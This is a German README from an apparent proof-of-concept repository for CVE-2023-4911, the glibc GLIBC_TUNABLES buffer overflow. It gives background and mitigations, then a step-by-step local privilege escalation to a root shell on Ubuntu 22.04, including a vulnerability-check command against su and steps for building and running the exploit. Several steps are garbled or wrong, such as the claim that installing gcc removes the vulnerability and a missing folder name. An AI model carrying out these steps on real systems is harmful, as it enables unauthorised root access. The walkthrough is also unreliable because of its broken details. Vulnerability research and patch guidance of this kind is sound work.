
Repository, das einen Proof of Concept (PoC) enthält, der die Auswirkungen von CVE-2023-4911 demonstriert – einer Sicherheitslücke im dynamischen Lader ld.so von glibc, die die mit Looney Tunables verbundenen Risiken offenlegt.
Die GNU C-Bibliothek (glibc) fungiert als C-Bibliothek im GNU-System und ist ein wesentlicher Bestandteil von Linux-basierten Systemen. Im Kern definiert glibc wesentliche Funktionalitäten für Programme, darunter Systemaufrufe und allgemeine Funktionen wie open, malloc, printf und exit. Der dynamische Lader, eine wichtige Komponente von glibc, spielt eine Schlüsselrolle bei der Vorbereitung und Ausführung von Programmen, indem er gemeinsam genutzte Bibliotheken verwaltet und sie zur Laufzeit verknüpft.
Die Umgebungsvariable GLIBC_TUNABLES wurde eingeführt, um Benutzern ohne Neukompilierung mehr Kontrolle zu geben. Sie ermöglicht es Benutzern, das Verhalten von glibc zur Laufzeit zu ändern. Sie bietet eine Möglichkeit, Parameter für Leistung und Verhalten anzupassen, was den Start von Anwendungen beeinflusst.
Eine Pufferüberlauf-Schwachstelle in der Verarbeitung von GLIBC_TUNABLES durch den dynamischen Lader stellt ein kritisches Sicherheitsrisiko dar. Die Ausnutzung gewährt lokalen Angreifern erhöhte Privilegien und kann potenziell zu vollständigem Root-Zugriff führen. Die erfolgreiche Ausnutzung auf wichtigen Distributionen wie Fedora, Ubuntu und Debian unterstreicht die Schwere und die weitreichenden Auswirkungen.
Missbrauch oder Ausnutzung dieser Schwachstelle kann sich auf die Systemleistung, Zuverlässigkeit und Sicherheit auswirken. Obwohl die Ausnutzungsdetails zurückgehalten werden, ist das Risiko unmittelbar, da Pufferüberläufe schnell in datenorientierte Angriffe umgewandelt werden können. Beliebte Linux-Distributionen, die glibc verwenden, könnten anfällig sein, was die Notwendigkeit einer raschen Sensibilisierung und Abhilfe unterstreicht.
Zugewiesen: 3. Oktober 2023
Typ: Lokale Privilegienausweitung
Betroffene Versionen: glibc 2.34 und neuer
Distributionen: RHEL, Ubuntu, Fedora, Debian, Amazon Linux, Gentoo und andere mit glibc Abhilfe
Aktualisierung: Glibc-Updates umgehend einspielen.
Überwachung: Sicherheitshinweise verfolgen.
Prüfung: Verwendung von GLIBC_TUNABLES in Anwendungen überprüfen.
Audit: Systemprotokolle auf verdächtige Aktivitäten untersuchen.
Ubuntu 22.04 Ubuntu GLIBC 2.35-0ubuntu3.1 su von util-linux 2.37.2 ASLR EIN
Verwendet Ubuntu (Version 22.04.1) ISO zur Erstellung der virtuellen Maschine
Nach erfolgreicher Installation müssen wir nichts aktualisieren, aber wir werden Git und das GNU-Binutils-Paket installieren, da es nicht im System vorhanden ist. Wenn Sie das Exploit-Python-Skript kompilieren, erhalten Sie eine Fehlermeldung.
Mit diesen Befehlen:
$ sudo apt install git
$ sudo apt install binutils
Prüfen, ob es anfällig ist
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Wenn es
Segmentation fault (core dumped)ausgibt, ist es anfällig.
Version des dynamischen Linkers/Laders überprüfen, oft mit der GNU C-Bibliothek (glibc) verbunden
$ ldd --version
Die Ausgabe zeigt die Version von GLIBC
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
Nachdem wir nun wissen, dass unsere Maschine anfällig und bereit für die Eskalation zu Root-Rechten ist
Hinweis: Wir sollten gcc nicht auf der Maschine installieren. Wenn wir es installieren, geht die Anfälligkeit verloren, und das Skript funktioniert nicht.
Da wir kein gcc installiert haben und das C-Programm auf dem Host-Rechner kompilieren und dann auf die Gastmaschine importieren müssen.
Wir können das C-Programm mit diesem Befehl kompilieren:
$ gcc exploit.c -o (Ausgabename)
Nach dem Import der Ausgabedatei des C-Programms importieren wir auch das Python-Skript (genlib.py).
Jetzt kompilieren wir das Python-Skript:
$ python3 genlib.py
Nach dem Kompilieren wird ein Ordner mit dem Namen
"erstellt.
Wir führen dies im Ordner /tmp aus, damit der Benutzer das Skript und das Programm ausführen kann.
Jetzt führen wir schließlich das Programm aus, um Root-Rechte zu erlangen
$ ./(NameDesProgramms)
Es wird einige Zeit dauern, und wir erhalten eine Root-Shell.
Sicher befähigen, nicht ausnutzen!
Referenzen: